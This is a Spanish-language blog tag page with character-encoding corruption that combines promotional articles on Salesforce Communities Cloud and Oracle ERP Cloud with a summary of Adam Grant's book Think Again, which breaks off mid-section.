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Etiqueta: Comunidades

Primeras impresiones del jurado de los Retail Week Awards 2024

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Conecta con tus clientes y mejora tu negocio con Salesforce Communities Cloud

Introducci贸n

Salesforce Communities Cloud es una plataforma en l铆nea que permite a las empresas crear comunidades virtuales para sus clientes. Estas comunidades son espacios donde los clientes pueden interactuar entre s铆, compartir informaci贸n y recibir soporte de la empresa. La creaci贸n de una comunidad en l铆nea se ha vuelto cada vez m谩s importante para las empresas, ya que les permite establecer relaciones m谩s s贸lidas con sus clientes y brindarles un mejor servicio.

驴Qu茅 es Salesforce Communities Cloud y c贸mo puede ayudar a tu negocio?

Salesforce Communities Cloud es una soluci贸n de software que permite a las empresas crear comunidades en l铆nea para sus clientes. Estas comunidades son plataformas virtuales donde los clientes pueden interactuar entre s铆, compartir informaci贸n y recibir soporte de la empresa. Salesforce Communities Cloud ofrece una amplia gama de caracter铆sticas y herramientas que facilitan la creaci贸n y gesti贸n de comunidades en l铆nea.

Una de las principales ventajas de utilizar Salesforce Communities Cloud es que permite a las empresas establecer relaciones m谩s s贸lidas con sus clientes. Al crear una comunidad en l铆nea, las empresas pueden fomentar la participaci贸n activa de sus clientes y brindarles un espacio donde puedan interactuar entre s铆 y con la empresa. Esto ayuda a fortalecer la lealtad de los clientes y a construir una base s贸lida de seguidores.

Crea una comunidad en l铆nea para tus clientes con Salesforce Communities Cloud

Crear una comunidad en l铆nea utilizando Salesforce Communities Cloud es un proceso sencillo que consta de varios pasos. En primer lugar, es necesario definir los objetivos y el prop贸sito de la comunidad. 驴Qu茅 tipo de interacciones quieres fomentar entre tus clientes? 驴Qu茅 tipo de informaci贸n quieres compartir con ellos? Una vez que hayas definido tus objetivos, puedes comenzar a construir tu comunidad.

Salesforce Communities Cloud ofrece una amplia gama de caracter铆sticas y herramientas que facilitan la creaci贸n y gesti贸n de comunidades en l铆nea. Por ejemplo, puedes personalizar el dise帽o y la apariencia de tu comunidad para que se ajuste a la imagen de tu marca. Tambi茅n puedes agregar diferentes tipos de contenido, como publicaciones, documentos y videos, para compartir con tus clientes. Adem谩s, Salesforce Communities Cloud ofrece herramientas de colaboraci贸n que permiten a los clientes trabajar juntos en proyectos y compartir ideas.

Personaliza la experiencia del cliente con Salesforce Communities Cloud

La personalizaci贸n es un aspecto clave en la experiencia del cliente. Los clientes esperan que las empresas les brinden un trato personalizado y relevante. Salesforce Communities Cloud puede ayudar a las empresas a personalizar la experiencia del cliente al proporcionarles informaci贸n relevante y personalizada.

Salesforce Communities Cloud permite a las empresas recopilar datos sobre sus clientes, como sus preferencias y comportamientos de compra. Utilizando esta informaci贸n, las empresas pueden ofrecer a sus clientes contenido y ofertas personalizadas que se ajusten a sus necesidades e intereses. Esto ayuda a mejorar la satisfacci贸n del cliente y a fortalecer la relaci贸n entre la empresa y sus clientes.

Aumenta la retenci贸n de clientes con Salesforce Communities Cloud

La retenci贸n de clientes es un aspecto clave para el 茅xito de cualquier negocio. Salesforce Communities Cloud puede ayudar a las empresas a retener clientes al proporcionarles un espacio donde puedan interactuar entre s铆 y con la empresa.

Al crear una comunidad en l铆nea, las empresas pueden fomentar la participaci贸n activa de sus clientes y brindarles un espacio donde puedan compartir experiencias, hacer preguntas y recibir soporte. Esto ayuda a fortalecer la relaci贸n entre la empresa y sus clientes y a aumentar la retenci贸n de clientes.

Crea un espacio seguro para compartir informaci贸n con Salesforce Communities Cloud

La seguridad de los datos es un aspecto crucial en las comunidades en l铆nea. Salesforce Communities Cloud ofrece medidas de seguridad avanzadas para garantizar la protecci贸n de los datos de los clientes.

Salesforce Communities Cloud utiliza tecnolog铆a de encriptaci贸n y autenticaci贸n para proteger los datos de los clientes. Adem谩s, ofrece herramientas de control de acceso que permiten a las empresas controlar qui茅n puede acceder a la informaci贸n compartida en la comunidad. Esto ayuda a garantizar que la informaci贸n confidencial se mantenga segura y protegida.

Mejora la colaboraci贸n entre tus clientes y tu empresa con Salesforce Communities Cloud

La colaboraci贸n entre los clientes y la empresa es fundamental para el 茅xito de cualquier negocio. Salesforce Communities Cloud puede ayudar a mejorar la colaboraci贸n al proporcionar herramientas y caracter铆sticas que facilitan la comunicaci贸n y el trabajo en equipo.

Salesforce Communities Cloud ofrece herramientas de colaboraci贸n, como foros de discusi贸n y grupos de trabajo, que permiten a los clientes interactuar entre s铆 y con la empresa. Esto facilita la comunicaci贸n y el intercambio de ideas, lo que a su vez mejora la colaboraci贸n entre los clientes y la empresa.

Genera ideas y retroalimentaci贸n de tus clientes con Salesforce Communities Cloud

La retroalimentaci贸n de los clientes es una fuente valiosa de informaci贸n para las empresas. Salesforce Communities Cloud puede ayudar a las empresas a recopilar ideas y retroalimentaci贸n de sus clientes al proporcionarles un espacio donde puedan compartir sus opiniones y sugerencias.

Salesforce Communities Cloud ofrece herramientas que permiten a las empresas recopilar comentarios y opiniones de sus clientes. Por ejemplo, las empresas pueden utilizar encuestas y formularios de retroalimentaci贸n para recopilar informaci贸n sobre la satisfacci贸n del cliente y las 谩reas de mejora. Esto ayuda a las empresas a tomar decisiones informadas y a mejorar la calidad de sus productos y servicios.

Facilita la resoluci贸n de problemas con Salesforce Communities Cloud

La resoluci贸n de problemas es un aspecto clave en la satisfacci贸n del cliente. Salesforce Communities Cloud puede ayudar a las empresas a resolver problemas de manera m谩s eficiente al proporcionar un espacio donde los clientes puedan plantear sus inquietudes y recibir soporte.

Salesforce Communities Cloud ofrece herramientas de soporte que permiten a los clientes plantear preguntas y recibir respuestas de la empresa. Adem谩s, las empresas pueden utilizar herramientas de seguimiento de problemas para realizar un seguimiento de los problemas planteados por los clientes y garantizar que se resuelvan de manera oportuna.

Aprovecha las herramientas de marketing de Salesforce Communities Cloud para impulsar tu negocio

Salesforce Communities Cloud ofrece una amplia gama de herramientas de marketing que las empresas pueden utilizar para promocionar sus productos y servicios. Estas herramientas incluyen funciones como el env铆o de correos electr贸nicos, la publicaci贸n en redes sociales y la creaci贸n de campa帽as publicitarias.

Las empresas pueden utilizar estas herramientas para llegar a su audiencia objetivo y promocionar sus productos y servicios. Por ejemplo, pueden enviar correos electr贸nicos personalizados con ofertas especiales a los miembros de la comunidad o publicar contenido relevante en las redes sociales para generar inter茅s en sus productos.

驴C贸mo implementar Salesforce Communities Cloud en tu empresa?

La implementaci贸n de Salesforce Communities Cloud en una empresa requiere seguir varios pasos. En primer lugar, es necesario evaluar las necesidades y objetivos de la empresa para determinar c贸mo utilizar Salesforce Communities Cloud de manera efectiva. A continuaci贸n, es necesario configurar la plataforma y personalizarla seg煤n las necesidades de la empresa.

Una vez que la plataforma est茅 configurada, es necesario capacitar a los empleados para que puedan utilizar Salesforce Communities Cloud de manera efectiva. Esto incluye ense帽arles c贸mo interactuar con los clientes en la comunidad y c贸mo utilizar las herramientas y caracter铆sticas disponibles.

Conclusi贸n

Salesforce Communities Cloud es una herramienta poderosa que puede ayudar a las empresas a crear comunidades en l铆nea para sus clientes. Al proporcionar un espacio donde los clientes pueden interactuar entre s铆 y con la empresa, Salesforce Communities Cloud ayuda a fortalecer la relaci贸n entre la empresa y sus clientes y a mejorar la experiencia del cliente.

Si est谩s buscando una manera de fortalecer la relaci贸n con tus clientes y mejorar su experiencia, considera implementar Salesforce Communities Cloud en tu empresa. Con sus caracter铆sticas y herramientas avanzadas, Salesforce Communities Cloud puede ayudarte a crear una comunidad en l铆nea exitosa y a aprovechar al m谩ximo el potencial de tus clientes. No pierdas m谩s tiempo y comienza a construir tu comunidad en l铆nea hoy mismo.
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驴Por qu茅 Oracle ERP Cloud es la mejor opci贸n para tu negocio? Conoce sus beneficios

Introducci贸n:
Oracle ERP Cloud es una soluci贸n de gesti贸n empresarial en la nube que ofrece una amplia gama de herramientas para mejorar la eficiencia y la productividad de tu negocio. En este art铆culo, te explicaremos qu茅 es Oracle ERP Cloud, c贸mo funciona y c贸mo puede ayudarte a gestionar mejor tu empresa.

1. 驴Qu茅 es Oracle ERP Cloud y c贸mo funciona?

Oracle ERP Cloud es una soluci贸n de gesti贸n empresarial en la nube que combina diferentes m贸dulos para gestionar todas las 谩reas de tu negocio, como finanzas, recursos humanos, cadena de suministro, ventas y marketing, entre otros. Estos m贸dulos est谩n integrados entre s铆, lo que permite una gesti贸n m谩s eficiente y una visi贸n global de tu empresa.

La nube de Oracle ERP Cloud funciona a trav茅s de una plataforma segura y confiable que almacena todos los datos y procesos de tu empresa. Esto significa que no necesitas invertir en infraestructura de TI costosa y puedes acceder a la plataforma desde cualquier lugar y en cualquier momento, siempre que tengas una conexi贸n a Internet.

2. La seguridad de Oracle ERP Cloud: 驴por qu茅 es importante para tu negocio?

La seguridad es una preocupaci贸n importante para cualquier empresa, especialmente cuando se trata de gestionar datos confidenciales y cr铆ticos. Oracle ERP Cloud ofrece una soluci贸n segura y confiable para tu negocio, ya que cuenta con medidas de seguridad avanzadas para proteger tus datos.

La plataforma de Oracle ERP Cloud utiliza tecnolog铆a de encriptaci贸n para proteger los datos en tr谩nsito y en reposo, lo que garantiza que solo las personas autorizadas puedan acceder a ellos. Adem谩s, Oracle realiza regularmente auditor铆as de seguridad y cumple con los est谩ndares y regulaciones m谩s estrictos de la industria.

3. Oracle ERP Cloud y su capacidad para adaptarse a las necesidades de tu empresa

Cada empresa es 煤nica y tiene necesidades espec铆ficas. Oracle ERP Cloud ofrece una soluci贸n altamente personalizable que se puede adaptar a las necesidades de tu empresa. Puedes personalizar los m贸dulos y las funcionalidades seg煤n tus requerimientos y agregar o eliminar caracter铆sticas seg煤n sea necesario.

Adem谩s, Oracle ERP Cloud es escalable, lo que significa que puede crecer junto con tu empresa. A medida que tu negocio se expande, puedes agregar m谩s usuarios y funcionalidades sin problemas. Esto te permite tener un sistema de gesti贸n empresarial flexible y adaptable a medida que tu empresa evoluciona.

4. 驴C贸mo Oracle ERP Cloud puede mejorar la eficiencia y la productividad de tu negocio?

Oracle ERP Cloud ofrece una serie de herramientas y funcionalidades que pueden mejorar la eficiencia y la productividad de tu negocio. Una de las principales ventajas de Oracle ERP Cloud es la automatizaci贸n de procesos. Puedes automatizar tareas repetitivas y manuales, lo que te permite ahorrar tiempo y recursos.

Adem谩s, Oracle ERP Cloud te proporciona una visi贸n en tiempo real de todos los aspectos de tu negocio. Puedes acceder a informes y an谩lisis actualizados en tiempo real, lo que te permite tomar decisiones m谩s informadas y basadas en datos. Esto te ayuda a optimizar tus operaciones y a identificar 谩reas de mejora.

5. La integraci贸n de Oracle ERP Cloud con otras aplicaciones empresariales

Oracle ERP Cloud se integra f谩cilmente con otras aplicaciones empresariales, lo que te permite tener una soluci贸n completa y personalizada para tu negocio. Puedes integrar Oracle ERP Cloud con aplicaciones de CRM, gesti贸n de proyectos, gesti贸n de inventario y muchas otras, lo que te permite tener una visi贸n global de tu empresa y una gesti贸n m谩s eficiente.

La integraci贸n de Oracle ERP Cloud con otras aplicaciones tambi茅n te permite compartir datos y procesos entre diferentes departamentos de tu empresa, lo que mejora la colaboraci贸n y la comunicaci贸n interna.

6. 驴C贸mo Oracle ERP Cloud puede ayudarte a tomar mejores decisiones empresariales?

Oracle ERP Cloud recopila y analiza datos en tiempo real, lo que te permite tomar decisiones m谩s informadas y basadas en datos. Puedes acceder a informes y an谩lisis actualizados en tiempo real, lo que te proporciona una visi贸n completa de tu empresa y te ayuda a identificar tendencias y patrones.

Adem谩s, Oracle ERP Cloud ofrece herramientas de an谩lisis avanzadas que te permiten realizar pron贸sticos y simulaciones, lo que te ayuda a tomar decisiones estrat茅gicas a largo plazo. Puedes analizar diferentes escenarios y evaluar el impacto de tus decisiones antes de implementarlas.

7. La facilidad de implementaci贸n de Oracle ERP Cloud y su impacto en tu negocio

La implementaci贸n de un sistema de gesti贸n empresarial puede ser un proceso complicado y costoso. Sin embargo, Oracle ERP Cloud ofrece una implementaci贸n r谩pida y sencilla, lo que minimiza el impacto en tu negocio.

Oracle ERP Cloud utiliza una metodolog铆a de implementaci贸n 谩gil que te permite empezar a utilizar el sistema en poco tiempo. Adem谩s, Oracle ofrece soporte y asistencia t茅cnica durante todo el proceso de implementaci贸n, lo que garantiza que todo funcione sin problemas.

8. Oracle ERP Cloud y su capacidad para gestionar m煤ltiples ubicaciones y divisas

Si tu empresa tiene m煤ltiples ubicaciones o opera en diferentes pa铆ses, Oracle ERP Cloud puede gestionar f谩cilmente esta complejidad. Puedes gestionar diferentes ubicaciones y divisas en un solo sistema, lo que te proporciona una visi贸n global de tu empresa y una gesti贸n m谩s eficiente.

Adem谩s, Oracle ERP Cloud ofrece herramientas de gesti贸n de divisas y tasas de cambio, lo que te permite realizar transacciones en diferentes monedas y mantener un control preciso de tus operaciones internacionales.

9. 驴C贸mo Oracle ERP Cloud puede ayudarte a cumplir con las regulaciones y normativas?

Cada industria y pa铆s tiene regulaciones y normativas espec铆ficas que las empresas deben cumplir. Oracle ERP Cloud ofrece herramientas y funcionalidades que te ayudan a cumplir con estas regulaciones y normativas.

Por ejemplo, Oracle ERP Cloud te permite generar informes y documentaci贸n necesarios para cumplir con los requisitos legales y fiscales. Adem谩s, Oracle realiza regularmente actualizaciones y mejoras para asegurarse de que su plataforma cumpla con los est谩ndares m谩s recientes.

10. La importancia del soporte y la asistencia t茅cnica en Oracle ERP Cloud para el 茅xito de tu negocio.

El soporte y la asistencia t茅cnica son fundamentales para el 茅xito de cualquier sistema de gesti贸n empresarial. Oracle ERP Cloud ofrece soporte y asistencia t茅cnica las 24 horas del d铆a, los 7 d铆as de la semana, lo que te garantiza que siempre tendr谩s ayuda cuando la necesites.

Adem谩s, Oracle cuenta con una amplia red de socios y consultores certificados que pueden brindarte asesoramiento y soporte adicional. Puedes acceder a recursos de aprendizaje en l铆nea, documentaci贸n y comunidades de usuarios para obtener m谩s informaci贸n y resolver cualquier problema que puedas tener.

Conclusi贸n:
En conclusi贸n, Oracle ERP Cloud es una soluci贸n de gesti贸n empresarial en la nube que ofrece una amplia gama de herramientas para mejorar la eficiencia y la productividad de tu negocio. Esperamos que este art铆culo te haya ayudado a entender mejor qu茅 es Oracle ERP Cloud, c贸mo funciona y c贸mo puede ayudarte a gestionar mejor tu empresa. Con Oracle ERP Cloud, puedes automatizar procesos, tomar decisiones basadas en datos, cumplir con regulaciones y normativas, y gestionar m煤ltiples ubicaciones y divisas. Adem谩s, Oracle ofrece soporte y asistencia t茅cnica para garantizar el 茅xito de tu negocio. No dudes en considerar Oracle ERP Cloud para mejorar la gesti贸n de tu empresa.
Encontrar la soluci贸n ERP adecuada para tu negocio puede ser un desaf铆o, pero Oracle ERP Cloud ofrece una serie de ventajas y desventajas que debes considerar. Si est谩s interesado en conocer m谩s sobre este tema, te recomendamos leer el art铆culo 芦Oracle ERP Cloud: Ventajas y Desventajas禄 en el sitio web de EGA Futura. Este art铆culo te brindar谩 informaci贸n detallada sobre las caracter铆sticas y beneficios de Oracle ERP Cloud, as铆 como tambi茅n las posibles limitaciones que debes tener en cuenta. 隆No te lo pierdas! Leer m谩s

El Poder de Saber lo que no Sabes y C贸mo Reinventarte

La inteligencia es por lo general vista como la habilidad para pensar y aprender, pero en un mundo r谩pidamente cambiante puede importar mas aquello que podamos repensar y desaprender. El psic贸logo empresaria Adam Grant es un experto en abrir las mentes de otras personas y la propia. En el siguiente articulo basado en el libro Think Again nos invita a eliminar ciertas visiones que ya non nos sirven y a valorar la flexibilizad mental, la humildad y la curiosidad por sobre la consistencia est煤pida. Si el conocimiento es poder saber lo que no sabemos es sabidur铆a.

Cuando la mayor铆a de las personas piensan en el concepto de la capacidad mental, primero piensan en la inteligencia. Cuanto m谩s alto sea tu CI, m谩s podr谩s resolver problemas complejos. 

Grant nos cuenta la historia fascinante de un bombero forestal llamado Wagner Dodge:

  • Ante el peligro de un cambio de direcci贸n de un incendio fuera de control que amenazaba a su equipo, hizo algo poco ortodoxo, 
  • Enciende un f贸sforo, y quem贸 un pedazo de pasto a su alrededor. Luego humedece su pa帽uelo, lo puso en su boca y se acost贸 durante 15 minutos a medida que el fuego devoraba todo a su alrededor,
  • Nadie le hab铆a ense帽ado a hacerlo y parec铆a tan contradictorio para el resto de su equipo que continuaron corriendo, tratando de estar a salvo antes de que sea demasiado tarde. 2 de ellos lo lograron pero 12 no y murieron en las llamas,
  • Dodge se hab铆a salvado improvisando una soluci贸n que nadie en la historia de los bomberos hab铆a ense帽ado hacer, quem贸 un pedazo de pasto a su alrededor de manera que el fuego tuviera el combustible de que,a medida que pasaba. 

Hab铆a expuesto una flexibilidad mental de lo cual se trata este libro.

En estos pr贸ximos minutos aprenderemos a como dejar ir el conocimiento y las opiniones que no nos est谩n sirviendo bien, y encuentra nuestra identidad en la flexibilidad m谩s que en la consistencia. 

Parte 1: Replanteamiento Individual:

Predicador, un Fiscal, un Pol铆tico y un Cient铆fica que Camina hacia tu Mente.

Una de los colegas de Grant, Phil Tetlock, descubri贸 que cuando hablamos y pensamos por lo general exponemos los pensamientos de tres personas diferentes:

  1. Predicadores,
  2. Fiscales, y
  3. Pol铆ticos
  1. Predicadores: Cuando sentimos que nuestros pensamientos sagrados est谩n siendo desafiados, nos ponemos en modo predicadores para proteger y promover nuestros ideales,
  2. Fiscales: Cuando reconocemos errores en el razonamiento de otra personas, nos ponemos en modo de fiscal y tratamos de demostrar que est谩n equivocados, y
  3. Pol铆ticos: Cuando estamos tratando de ganar una audiencia, nos ponemos en modo pol铆tico, haciendo campa帽a y lobby para la aprobaci贸n de nuestras ideas.

El riesgo aqu铆 es que estamos tan atados a estos modos que hemos elegido que somos incapaces de repensar nuestras propias visiones.

El ant铆doto que Grant sugiere es pensar como un cient铆fico.

Aunque el ser un cient铆fico incluye tener un pensamiento de una mente abierta sobre la realidad, va mucho m谩s all谩. Requiere que investiguemos las razones por las cuales estamos equivocados y revisemos lo que creemos basados en lo que aprendemos en el proceso. 

Aqu铆 es lo que sucede cuando estas varado en una de los tres modos antes mencionados, en vez de estar en el modo cient铆fico:

  • Cambiar nuestros pensamientos es una marca de debilidad moral en el modo predicador en vez de una se帽al de integridad intelectual,
  • Permitir ser persuadidos es admitir la derrota en el modo fiscal en vez de un paso hacia la verdad, 
  • Como pol铆tico, saltamos en repuesta a zanahorias y palitos, en vez de responder a informaci贸n mas fuerte y l贸gica. 

El Estratega del Sill贸n y el Impostor: Encontrando el Lado Dulce de la Confianza

La confianza en s铆 misma es una medida de cu谩nto crees en ti mismo y a la mayor铆a de las personas se les dificulta unir su nivel de confianza con el nivel de competencia. 

Por un lado:

  • Nuestra confianza excede nuestra capacidad: Este es el s铆ndrome del estratega del sill贸n,
  • Cuanto menos inteligente somos en un dominio en particular m谩s parece sobreestimar nuestra capacidad,
  • Los fans del deporte en el mundo que no tienen un alto nivel de experiencia en un deporte tienden a gritar a los entrenadores en la television que aquellos que s铆 lo son. 

Por otro lado:

  • Est谩 el s铆ndrome del impostor, donde nuestra capacidad excede nuestra confianza,
  • Mientras esto no sea el lugar 贸ptimo en el espectro para ser (m谩s en aquello que en un minuto _ existen m谩s ventajas 贸ptimas para sentir como un impostor en vez de un estratega del sill贸n.

Sinti茅ndote como un impostor puedes

  • Motivarnos a trabajar m谩s duro;
  • Motivarnos a trabajar m谩s inteligentemente. Cuando creemos que no vamos a ganar, no tenemos nada que perder repensando y cambiando nuestra estrategia,
  • Hacernos mejor aprendices porque probablemente busquemos ayuda de otros. 
Por lo tanto, si est谩s tratando de mejorar tu flexibilidad mental, es mejor equivocarse en el lado de la subestimaci贸n de tu capacidad. 

Sin embargo, el lado dulce de la confianza es alg煤n lugar en el medio entre el s铆ndrome del estratega del sill贸n y el del impostor. La gente que ocupa este lugar en el espectro es mucho m谩s probable que hagan la distinci贸n entre sus objetivos y sus m茅todos.

Pueden ser extremadamente confiables en su capacidad de adquirir un objetivo futuro mientras tienen la humildad de cuestionarse si tienen las habilidades correctas y estrategias hoy en d铆a o no.

La Alegr铆a de Estar Equivocado: La Emoci贸n de No Creer Todo lo que Piensas 

Una de las cosas que necesitas estar c贸modo cuando piensas como un cient铆fico es estar equivocado.

Desafortunadamente, la mayor铆a de nosotros no nos gusta estar equivocados, especialmente algo que sucede muy en nuestro interior. 

Cuando algo significativo para nosotros es cuestionado:

  • Sacamos nuestro dictador interno en nuestra cabeza,
  • El t茅rmino psicol贸gico para esto es el ego totalitario, y
  • Su objetivo es sacar la informaci贸n amenazante
La gente m谩s exitosa en el mundo ha descubierto como escapar la fuerza de su ego separ谩ndose en dos modos cr铆ticos. Pueden despegarse de su parte del pasado, de su presente y sus opiniones de sus identidades. 

Una de los empresario m谩s exitosos del mundo, Ray Dalio (el fundador de Asociados Bridgewater), dice lo siguiente:

Si no te miras a ti mismo hacia atr谩s y piensas: Uau que est煤pido fui un a帽o atr谩s, entonces no debes haber aprendido mucho en el  煤ltimo a帽o. 

La gente como Dalio actualiza sus creencias e ideas m谩s frecuentemente que menos gente exitosa.

Tienen la capacidad de:

  1. Preguntar ideas antes de aceptarlas, y
  2. Continuar cuestion谩ndolas luego de aceptarlas. 

La raz贸n por la que ellos est谩n tan c贸modos de estar equivocados en el corto plazo es que est谩n aterrorizados de estar equivocados en el largo plazo.

Saben que el 煤nico modo de estar en lo correcto a largo plazo es pensar nuevamente de manera continua, reafirmando la verdad y el 茅xito. 

Como se帽ala Grant:

Este camino no es siempre color de rosa porque admitir nuestros errores es doloroso. Pero cuando mantenemos en mente que somos esenciales para el progreso toleramos el dolor a corto plazo en el servicio de la retribuci贸n a largo plazo. 

El Club de la Buena Pelea: La Psicolog铆a Constructiva

Existen dos tipos de conflicto en los equipos:

  1. El conflicto de las Relaciones, y
  2. El conflicto de la Tarea.

La primera es el conflicto de las relaciones y que se encuentra en el camino del replanteamiento:

  • Cuando un conflicto se convierte en algo personal y emocional, aparece en el camino del repensamiento,
  • Porque estamos dedicando todo nuestro tiempo en defendernos a nosotros mismos y a nuestra identidad. 

El segundo es el conflicto de la tarea: Est谩 focalizado principalmente en las t谩cticas y estrat茅gicas que son desplegadas para cumplir los objetivos.

Este tipo de conflictos:

  • Fomentan a que miremos nuestras diferencias de opini贸n,
  • Sin hacer las cosas personales

Los estudios han demostrado que los equipos que rinden peor tienen m谩s conflictos de relaci贸n que los de tareas, Terminan estando tan ocupados disgustados unos con otros que no se sienten c贸modos desafi谩ndose unos con otros. 

Por el contrario, los grupos que rinden mejor tienen bajos conflictos de relaci贸n y se mantienen juntos su tiempo. Esto le permite desafiarse unos a otros y luego alinearse en una direcci贸n para realizar las cosas. 

Por lo tanto 驴C贸mo creas un equipo que se sienta c贸modo debatiendo las t谩cticas y estrategias que utilizan para alcanzar su objetivo 煤ltimo

Una de las cosas que puedes hacer es:

  1. Encuadrar un conflicto como un debate en vez de un desacuerdo,
  2. Esto les dices a todos: Que quieres escuchar las opiniones diversas y que est谩s abierto a cambiar tu opini贸n,
  3. Por lo tanto, la pr贸xima vez que quieras un conflicto de tarea productiva comienza con esta pregunta:驴Podemos debatir?

Parte 2 Repensamiento Interpersonal: Abriendo las mentes de otras Personas

Bailando con Enemigos: Como ganar Debates e Influenciar Gente

驴C贸mo hacemos que otras personas abran su mentes y repiensen sus posiciones? 

Neil Rackham ha pasado su carrera estudiando lo que los negociadores de los expertos hacen de manera diferente desde los remedios. Ignoramos que existen cinco diferencias

Primero:

  • Los expertos de cuando un tercio de su tiempo de preparaci贸n encontrando 谩reas de piso com煤n con el otro lado, y
  • Los negociadores del promedio pasaron casi nada haciendo esto.

Segundo:

  • Los expertos tienden a presentar menos razones para apoyar su caso m谩s que lo que lo hicieron los negociadores,
  • Los negociadores promedios que tienen mayores argumentos a su favor ser谩n m谩s persuasivos,
  • Los expertos entienden que esto solo sirve para decantar sus mejores puntos. 

Tercero:

  • Los expertos evitan lo que Rackham llama los espirales de ataque-defensa donde derriban las propuestas de sus oponentes y duplican su posici贸n,
  • En cambio los expertos explican su curiosidad con preguntas como: 驴No ves algo de m茅rito en esta propuesta?

Cuarto, los expertos hacen m谩s preguntas que los negociadores promedios. Para cada 5 comentarios hechos por expertos al menos uno concluye en una pregunta.

Quinto:

  • Los expertos son muchos en tono con los sentimientos de ambos propios y de sus contra partes, a trav茅s del proceso.
  • Por ejemplo, si est谩n frustrados por algo lo verbalizan y preguntar谩n si la otra parte est谩 sintiendo lo mismo. 
Cuando agregas todas estas diferencias, probablemente recortar谩s el ciclo de la sobre confianza y har谩s que la gente se involucre en el repensamiento de su posici贸n.

Mala Sangre en el Diamante: Disminuir el Prejuicio Desestabilizando los Estereotipos.

Los psic贸logos han encontrado que muchas de nuestras creencias son ampliamente compartidas pero rara vez cuestionadas. 

La pregunta que exploraremos es

  • Por qu茅 la gente crea estereotipos? y
  • C贸mo hacemos que la gente los repiense? 

Es una gran pregunta, y la respuesta yace en algo que la psicolog铆a llama el pensamiento de contraste:

Te pide imaginar c贸mo las circunstancias de nuestras vidas han desplegado de manera diferente e impactado nuestras visiones del mundo. 

Por ejemplo, podemos considerar preguntar a la gente preguntas como: 

  • C贸mo ser铆an diferentes tus estereotipos si hubieras nacido de piel negra, asi谩tico, norteamericano o hispano? 
  • C贸mo ser铆an tus opiniones diferentes si hubieras nacido en una granja en vez de una ciudad?
  • C贸mo hubieras pensado de manera diferente si hubieras nacido en el 1700
Lo que hace esto es ayudar a la gente a darse cuenta que muchas de las personas en un grupo que ellos previamente y ciegamente odiaban no son tan terribles despu茅s de todo.  Esto desestabiliza su prejuicios ayud谩ndolos a darse cuenta que ellos muy f谩cilmente podr铆an tener estereotipos diferentes si fueran ubicados en circunstancias diferentes, 

Susurradores de Vacuna e Interrogadores de Suaves Modales: Como la Manera Correcta de Escuchar Motiva a la Gente a Cambiar

Por primera vez en la mitad del siglo, sarampi贸n est谩 en aumento porque no se estan vacunando las suficientes personas. Mayormente porque no creen en la ciencia detr谩s de esto. 

Los gobiernos han tratado de ser exitosos confinado a la gente y encerr谩ndola pero no ha funcionado.

Grant sugiere que la soluci贸n sea en base al carisma inverso el cual describe la calidad magn茅tica de un gran oyente.

Una t茅cnica de escucha poderosa que puedes utilizar es llamada Entrevista Motivacional. Es la teor铆a pr谩ctica exitosa y mas altamente probada que la totalidad del campo de la ciencia de comportamiento ha producido hasta ahora.

Est谩 basada en tres t茅cnicas claves:

  • Hacer preguntas con final abierto,
  • Practicar la escucha reflexiva, 
  • Afirmar el deseo de otra persona y la capacidad de cambiar.
Cuando la gente ignora el consejo no es siempre porque est谩n en desacuerdo con el mismo. Es con frecuencia debido a nuestra tendencia natural de resistir el sentimiento que alguien est谩 controlando nuestra decisi贸n.

Los estudios en esta 谩rea han demostrado que cuando la gente est谩 tratando con oyentes atentos emp谩ticos y no cr铆ticos:

  • Sienten la libertad de explorar sus opiniones m谩s profundamente,
  • Reconocer m谩s matices en ellos, y
  • Compartir sus proceso de pensamiento m谩s abiertamente. 

B谩sicamente, sienten m谩s libertad en descubrir sus razones y motivaciones para cambiar sus mentes. 

Parte 3: Repensamiento Colectivo: Crear Comunidades de Aprendizaje Permanente

Conversaciones Cargadas: Despolarizando Nuestras Discusiones Divididas

Los seres humanos sufrimos de algo que los psic贸logos denominan perjuicio binario: Es nuestra tendencia para simplificar una continuidad compleja en dos categor铆as en un esfuerzo por buscar claridad y exposici贸n. .

Grant utiliza Al Gore como un ejemplo, y como 茅l presenta sus declaraciones para la naturaleza destructiva del cambio clim谩tico:

  • Haciendo un tema complejo en uno donde existen cient铆ficos de un lado y negadores del clima por el otro,
  • Esta fomentando sin intenci贸n a la gente que est谩 a punto de descartar o desinvolucrarse del problema.

La soluci贸n a este problema se llama complejificaci贸n, que demuestra que existen un rango de perspectivas posibles en un tema dado. 

Una de las claves para sobrepasar este d茅ficit en tu comunicaci贸n de los temas complejos es:

  • Incluir advertencias,
  • Un simple estudio o incluso una serie de estudio son rara vez concluyentes,
  • Los cient铆ficos incluyen m煤ltiples p谩rrafos en la limitaciones de sus descubrimientos. 

Reescribiendo el Manual: Ensenar a los Alumnos a Cuestionarse el Conocimiento

Todos crecemos en un sistema de escuela que est谩 focalizada en una persona (el maestro) entregando informaci贸n a sus alumnos que utilizan un formato de clase. 

Incluso cuando los avances en la tecnolog铆a en la 煤ltima d茅cada no han cambiado este paradigma. Simplemente mejoramos en entregar el mismo m茅todo en escala. 

Mientras est谩 claro que las clases pueden ser entretenidas e informativas, la pregunta qu茅 Gran nos hace es si ellos: 驴Son el m茅todo ideal para ense帽ar

No son especialmente ellos los que nos ayudan a adaptarnos. Es porque las clases so est谩n dise帽adas para acomodar el di谩logo o el desacuerdo, lo que significa que nos convertimos en receptores pasivos de informaci贸n, en vez de pensadores activos que desesperadamente necesitamos ser. 

El ant铆doto a esto es llamado aprendizaje activo, lo cual se trata de lograr que el aprendiz se involucre profundamente en el proceso de aprendizaje. 

Grant fomenta a sus alumnos en Wharton que:

  • Se cuestionen lo que aprenden en una tarea que el les da,
  • Donde se les hace cuestionar una pr谩ctica popular, o
  • Desafiar los principios que fueron cubiertos en la clase. 

Una de las ideas que surgi贸 de la tarea fue el d铆a de la charla apasionada:

  • Un d铆a entero de charlas donde los alumnos pod铆an hacer una presentaci贸n sobre algo que los apasionaba,
  • Esto fomentaba la pregunta no s贸lo como pod铆an aprender,
  • Sino tambi茅n de  quienes podr铆an o deber铆an aprender (todos).

No es s贸lo el modo que hemos siempre Hecho esto: Construir Culturas de Aprendizaje ene el Trabajo

Repensar no es solo una habilidad individual, es una capacidad organizativa que ampliamente viene de su cultura. 

En culturas orientadas al rendimiento:

  • La empresa por lo general se adhiere a sus procedimientos operativos comunes,
  • Esto solo no es malo porque es un modo probado de generar los resultados que una empresa est谩 buscando,
  • Pero surge de un cualidad en un vice cuando la gente deja de cuestionarse d贸nde puede ser imperfecto el proceso o c贸mo podr铆a mejorar. 
